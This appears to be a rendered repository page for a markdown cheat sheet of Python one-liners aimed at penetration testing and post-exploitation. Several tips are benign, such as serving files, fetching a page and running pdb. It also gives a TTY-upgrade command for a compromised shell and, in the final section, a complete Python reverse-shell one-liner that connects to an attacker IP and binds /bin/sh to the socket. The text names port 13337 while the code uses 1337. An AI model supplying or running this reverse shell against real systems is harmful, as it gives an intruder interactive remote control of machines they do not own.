h4cker/python_ruby_and_bash/python_cool_tricks.md

57 lines
1.5 KiB
Markdown
Raw Normal View History

2019-03-31 16:59:46 +00:00
# Cool Python Tricks
## Starting a quick web server to serve some files (useful for post exploitation)
### In Python 2.x
2019-03-31 17:34:48 +00:00
```
python -m SimpleHTTPServer 1337
```
2019-03-31 16:59:46 +00:00
### In Python 3.x
2019-03-31 17:34:48 +00:00
```
python3 -m http.server 1337
```
2019-03-31 16:59:46 +00:00
----
## Pythonic Web Client
### In Python 2.x
2019-03-31 17:34:48 +00:00
```
python -c 'import urllib2; print urllib2.urlopen("http://h4cker.org/web").read()' | tee /tmp/file.html
```
2019-03-31 16:59:46 +00:00
### In Python 3.x
2019-03-31 17:34:48 +00:00
```
python3 -c 'import urllib.request; urllib.request.urlretrieve ("http://h4cker.org/web","/tmp/h4cker.html")'
```
2019-03-31 16:59:46 +00:00
----
## Python Debugger
This imports a Python file and runs the debugger automatically. This is useful for debugging Python-based malware and for post-exploitation.
2019-03-31 17:34:48 +00:00
```
python -m pdb <some_python_file>
```
2019-03-31 16:59:46 +00:00
2019-03-31 17:12:25 +00:00
Refer to this [Python Debugger cheatsheet](https://kapeli.com/cheat_sheets/Python_Debugger.docset/Contents/Resources/Documents/index) if you are not familiar with the Python Debugger.
2019-03-31 16:59:46 +00:00
----
## Shell to Terminal
This is useful after exploitation and getting a shell. It allows you to use Linux commands that require a terminal session (e.g., su, sudo, vi, etc.)
2019-03-31 17:34:48 +00:00
```
python -c 'import pty; pty.spawn("/bin/bash")'
```
2019-03-31 16:59:46 +00:00
----
## Using Python to do a Reverse Shell
2019-03-31 17:33:44 +00:00
You put your IP address (instead of 192.168.78.205) and the port (instead of 13337) below:
```
python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("192.168.78.205",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
```
2019-03-31 16:59:46 +00:00